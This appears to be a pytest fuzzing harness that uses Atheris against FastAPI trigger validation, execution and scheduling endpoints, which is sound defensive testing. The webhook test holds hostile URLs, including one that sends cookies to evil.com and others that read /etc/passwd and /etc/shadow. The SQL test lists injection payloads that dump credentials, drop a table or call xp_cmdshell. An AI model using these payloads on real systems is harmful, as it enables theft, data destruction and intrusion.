File size: 22,575 Bytes
aef804e
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
"""
Trigger execution fuzzing harness for FastAPI endpoints.

This module uses Atheris to fuzz trigger validation, execution, and scheduling
endpoints to discover crashes, security vulnerabilities, and edge cases.

Coverage:
- POST /api/triggers/validate - Validate trigger configuration
- POST /api/triggers/execute - Execute trigger
- POST /api/triggers/schedule - Schedule trigger
- Webhook trigger handling: URL validation, headers, payloads
- Event trigger handling: event types, sources, data
"""

import os
import sys

# Add backend to path
backend_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
if backend_dir not in sys.path:
    sys.path.insert(0, backend_dir)

import pytest
from fastapi.testclient import TestClient
from sqlalchemy.orm import Session

# Import fixtures
from tests.fuzzing.conftest import ATHERIS_AVAILABLE
from tests.e2e_ui.fixtures.database_fixtures import db_session
from tests.e2e_ui.fixtures.auth_fixtures import authenticated_user, test_user

from main_api_app import app
from core.database import get_db

# Try to import Atheris
try:
    import atheris
    from atheris import fp
    ATHERIS_AVAILABLE = True
except ImportError:
    ATHERIS_AVAILABLE = False


# ============================================================================
# TEST TRIGGER VALIDATE FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_trigger_validate_fuzz(db_session: Session, authenticated_user):
    """
    Fuzz trigger validation endpoint (POST /api/triggers/validate).

    PROPERTY: Trigger validation endpoint should not crash on malformed input
    STRATEGY: Use FuzzedDataProvider to generate random trigger configurations
    INVARIANT: Response status code always in [200, 400, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Various trigger types (webhook, schedule, event, invalid)
    - Malformed trigger_config dict (0-10 keys, random values)
    - Invalid trigger_conditions (0-5 items, malformed conditions)
    - SQL injection in condition expressions

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    def fuzz_one_input(data: bytes):
        """Fuzz trigger validation endpoint with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz trigger_type (webhook, schedule, event, invalid values)
            type_idx = fdp.ConsumeIntInRange(0, 3)
            if type_idx == 0:
                trigger_type = "webhook"
            elif type_idx == 1:
                trigger_type = "schedule"
            elif type_idx == 2:
                trigger_type = "event"
            else:
                trigger_type = fdp.ConsumeRandomLengthString(50)  # Invalid type

            # Fuzz trigger_config dict (0-10 keys, random values)
            num_keys = fdp.ConsumeIntInRange(0, 10)
            trigger_config = {}
            for i in range(num_keys):
                key = fdp.ConsumeRandomLengthString(50)
                value_type = fdp.ConsumeIntInRange(0, 3)
                if value_type == 0:
                    value = fdp.ConsumeRandomLengthString(100)
                elif value_type == 1:
                    value = fdp.ConsumeIntInRange(-1000000, 1000000)
                elif value_type == 2:
                    value = fdp.ConsumeBool()
                else:
                    value = None
                trigger_config[key] = value

            # Fuzz trigger_conditions list (0-5 items, invalid conditions)
            num_conditions = fdp.ConsumeIntInRange(0, 5)
            trigger_conditions = []
            for i in range(num_conditions):
                condition = {
                    "field": fdp.ConsumeRandomLengthString(50),
                    "operator": fdp.ConsumeRandomLengthString(20),
                    "value": fdp.ConsumeRandomLengthString(100)
                }
                trigger_conditions.append(condition)

            payload = {
                "trigger_type": trigger_type,
                "trigger_config": trigger_config,
                "trigger_conditions": trigger_conditions
            }

            # Call POST /api/triggers/validate
            response = client.post("/api/triggers/validate", json=payload, headers=headers)

            # Assert status in [200, 400, 422]
            assert response.status_code in [200, 400, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST TRIGGER EXECUTE FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_trigger_execute_fuzz(db_session: Session, authenticated_user):
    """
    Fuzz trigger execution endpoint (POST /api/triggers/execute).

    PROPERTY: Trigger execution endpoint should not crash on malformed input
    STRATEGY: Use FuzzedDataProvider to generate random trigger IDs and contexts
    INVARIANT: Response status code always in [200, 400, 404, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Invalid trigger_id formats (None, empty, huge strings)
    - Malformed execution_context dict (0-10 keys, nested values)
    - Invalid trigger_payload (0-1000 chars, None, empty, JSON)
    - SQL injection in context fields

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    def fuzz_one_input(data: bytes):
        """Fuzz trigger execution endpoint with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz trigger_id (50 chars, None, empty)
            trigger_id = fdp.ConsumeRandomLengthString(50)

            # Fuzz execution_context dict (0-10 keys, nested values)
            num_keys = fdp.ConsumeIntInRange(0, 10)
            execution_context = {}
            for i in range(num_keys):
                key = fdp.ConsumeRandomLengthString(50)
                value_type = fdp.ConsumeIntInRange(0, 3)
                if value_type == 0:
                    value = fdp.ConsumeRandomLengthString(500)
                elif value_type == 1:
                    # Nested dict
                    nested_keys = fdp.ConsumeIntInRange(0, 5)
                    value = {fdp.ConsumeRandomLengthString(20): fdp.ConsumeRandomLengthString(100) for _ in range(nested_keys)}
                elif value_type == 2:
                    value = fdp.ConsumeIntInRange(-1000000, 1000000)
                else:
                    value = None
                execution_context[key] = value

            # Fuzz trigger_payload (0-1000 chars, None, empty, JSON)
            trigger_payload = fdp.ConsumeRandomLengthString(1000)

            payload = {
                "trigger_id": trigger_id if trigger_id else None,
                "execution_context": execution_context,
                "trigger_payload": trigger_payload if trigger_payload else None
            }

            # Call POST /api/triggers/execute
            response = client.post("/api/triggers/execute", json=payload, headers=headers)

            # Assert status in [200, 400, 404, 422]
            assert response.status_code in [200, 400, 404, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST TRIGGER SCHEDULE FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_trigger_schedule_fuzz(db_session: Session, authenticated_user):
    """
    Fuzz trigger scheduling endpoint (POST /api/triggers/schedule).

    PROPERTY: Trigger scheduling endpoint should not crash on malformed input
    STRATEGY: Use FuzzedDataProvider to generate random schedule configurations
    INVARIANT: Response status code always in [200, 400, 404, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Invalid trigger_id formats
    - Malformed schedule_config dict (cron, interval, invalid formats)
    - Past dates (should fail validation)
    - Future dates (should succeed)
    - Huge intervals (DoS protection)

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    def fuzz_one_input(data: bytes):
        """Fuzz trigger scheduling endpoint with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz trigger_id (50 chars, None, empty)
            trigger_id = fdp.ConsumeRandomLengthString(50)

            # Fuzz schedule_config dict (cron, interval, invalid formats)
            schedule_type = fdp.ConsumeRandomLengthString(20)
            schedule_config = {
                "type": schedule_type,
                "cron": fdp.ConsumeRandomLengthString(100),  # Invalid cron syntax
                "interval_seconds": fdp.ConsumeIntInRange(-1000000, 1000000),  # Invalid interval
                "start_date": fdp.ConsumeRandomLengthString(50),  # Invalid date format
                "end_date": fdp.ConsumeRandomLengthString(50),  # Invalid date format
                "enabled": fdp.ConsumeBool(),
                "timezone": fdp.ConsumeRandomLengthString(50)  # Invalid timezone
            }

            payload = {
                "trigger_id": trigger_id if trigger_id else None,
                "schedule_config": schedule_config
            }

            # Call POST /api/triggers/schedule
            response = client.post("/api/triggers/schedule", json=payload, headers=headers)

            # Assert status in [200, 400, 404, 422]
            assert response.status_code in [200, 400, 404, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST TRIGGER WEBHOOK FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_trigger_webhook_fuzz(db_session: Session, authenticated_user):
    """
    Fuzz webhook trigger handling with URL validation.

    PROPERTY: Webhook trigger endpoint should not crash on malformed URLs
    STRATEGY: Use FuzzedDataProvider to generate random webhook configurations
    INVARIANT: Response status code always in [200, 400, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Invalid webhook URLs (javascript:, file://, data:)
    - Huge URLs (DoS protection)
    - SQL injection in webhook headers
    - Malformed webhook_payload (0-5000 chars)
    - Forbidden protocols (ftp://, gopher://)

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    # Malicious URL patterns
    malicious_urls = [
        "javascript:alert('XSS')",
        "javascript:void(document.location='http://evil.com/'+document.cookie)",
        "file:///etc/passwd",
        "file:///etc/shadow",
        "data:text/html,<script>alert('XSS')</script>",
        "vbscript:msgbox('XSS')",
        "ftp://evil.com/file",
        "gopher://evil.com:70/_",
        "dict://evil.com:11211/",
        "http://" + "a" * 2000 + ".com",  # Huge URL
        "https://" + "a" * 2000 + ".com",  # Huge URL
        "",
        None,
        "http://",
        "https://",
        "//evil.com",
        "\\\\evil.com\\share",  # UNC path
    ]

    def fuzz_one_input(data: bytes):
        """Fuzz webhook trigger handling with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz webhook URL (use malicious URLs or generate random)
            if fdp.ConsumeBool():
                url_idx = fdp.ConsumeIntInRange(0, len(malicious_urls) - 1)
                webhook_url = malicious_urls[url_idx]
            else:
                webhook_url = fdp.ConsumeRandomLengthString(2000)

            # Fuzz webhook headers dict (0-10 keys, SQL injection)
            num_headers = fdp.ConsumeIntInRange(0, 10)
            webhook_headers = {}
            for i in range(num_headers):
                key = fdp.ConsumeRandomLengthString(100)
                value = fdp.ConsumeRandomLengthString(500)
                webhook_headers[key] = value

            # Fuzz webhook_payload (0-5000 chars, None, empty)
            webhook_payload = fdp.ConsumeRandomLengthString(5000)

            payload = {
                "trigger_type": "webhook",
                "trigger_config": {
                    "url": webhook_url if webhook_url else None,
                    "method": fdp.ConsumeRandomLengthString(10),  # GET, POST, PUT, DELETE, invalid
                    "headers": webhook_headers,
                    "body": webhook_payload if webhook_payload else None
                }
            }

            # Call POST /api/triggers/validate
            response = client.post("/api/triggers/validate", json=payload, headers=headers)

            # Assert no crashes (validation errors OK)
            assert response.status_code in [200, 400, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST TRIGGER EVENT FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_trigger_event_fuzz(db_session: Session, authenticated_user):
    """
    Fuzz event trigger handling.

    PROPERTY: Event trigger endpoint should not crash on malformed event data
    STRATEGY: Use FuzzedDataProvider to generate random event configurations
    INVARIANT: Response status code always in [200, 400, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Invalid event_type (0-100 chars, None, empty)
    - Invalid event_source (0-100 chars, None, empty)
    - Malformed event_data dict (0-20 keys, nested structures)
    - SQL injection in event fields
    - Huge event payloads (DoS protection)

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    def fuzz_one_input(data: bytes):
        """Fuzz event trigger handling with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz event_type (0-100 chars, None, empty)
            event_type = fdp.ConsumeRandomLengthString(100)

            # Fuzz event_source (0-100 chars, None, empty)
            event_source = fdp.ConsumeRandomLengthString(100)

            # Fuzz event_data dict (0-20 keys, nested structures)
            num_keys = fdp.ConsumeIntInRange(0, 20)
            event_data = {}
            for i in range(num_keys):
                key = fdp.ConsumeRandomLengthString(50)
                value_type = fdp.ConsumeIntInRange(0, 4)
                if value_type == 0:
                    value = fdp.ConsumeRandomLengthString(1000)
                elif value_type == 1:
                    # Nested dict
                    nested_keys = fdp.ConsumeIntInRange(0, 10)
                    value = {fdp.ConsumeRandomLengthString(30): fdp.ConsumeRandomLengthString(200) for _ in range(nested_keys)}
                elif value_type == 2:
                    # Nested list
                    list_items = fdp.ConsumeIntInRange(0, 10)
                    value = [fdp.ConsumeRandomLengthString(100) for _ in range(list_items)]
                elif value_type == 3:
                    value = fdp.ConsumeIntInRange(-1000000, 1000000)
                else:
                    value = None
                event_data[key] = value

            payload = {
                "trigger_type": "event",
                "trigger_config": {
                    "event_type": event_type if event_type else None,
                    "event_source": event_source if event_source else None,
                    "event_data": event_data
                }
            }

            # Call POST /api/triggers/validate
            response = client.post("/api/triggers/validate", json=payload, headers=headers)

            # Assert no crashes (validation errors OK)
            assert response.status_code in [200, 400, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST TRIGGER CONDITION SQL INJECTION FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_trigger_condition_sql_injection_fuzz(db_session: Session, authenticated_user):
    """
    Fuzz trigger condition evaluation with SQL injection payloads.

    PROPERTY: Trigger condition evaluation should not crash on SQL injection
    STRATEGY: Test SQL injection patterns in condition expressions
    INVARIANT: Response status code always in [200, 400, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - SQL injection in condition field names
    - SQL injection in condition operators
    - SQL injection in condition values
    - Boolean-based SQL injection
    - Union-based SQL injection

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    # SQL injection payloads
    sql_payloads = [
        "' OR '1'='1",
        "' OR '1'='1'--",
        "' OR '1'='1'/*",
        "admin'--",
        "admin'/*",
        "' UNION SELECT NULL--",
        "' UNION SELECT username, password FROM users--",
        "'; DROP TABLE triggers;--",
        "1' AND '1'='1",
        "1' AND '1'='2",
        "'; EXEC xp_cmdshell('dir');--",
        "' OR 1=1--",
        "' OR 'a'='a",
        "NULL UNION SELECT NULL--",
    ]

    def fuzz_one_input(data: bytes):
        """Fuzz trigger conditions with SQL injection."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz number of conditions
            num_conditions = fdp.ConsumeIntInRange(0, 5)
            trigger_conditions = []

            for i in range(num_conditions):
                # Use SQL injection payload or random string
                if fdp.ConsumeBool():
                    payload_idx = fdp.ConsumeIntInRange(0, len(sql_payloads) - 1)
                    field = sql_payloads[payload_idx]
                    operator = sql_payloads[payload_idx]
                    value = sql_payloads[payload_idx]
                else:
                    field = fdp.ConsumeRandomLengthString(50)
                    operator = fdp.ConsumeRandomLengthString(20)
                    value = fdp.ConsumeRandomLengthString(100)

                condition = {
                    "field": field,
                    "operator": operator,
                    "value": value
                }
                trigger_conditions.append(condition)

            payload = {
                "trigger_type": "condition",
                "trigger_config": {},
                "trigger_conditions": trigger_conditions
            }

            # Call POST /api/triggers/validate
            response = client.post("/api/triggers/validate", json=payload, headers=headers)

            # Assert no crashes (validation errors OK)
            assert response.status_code in [200, 400, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()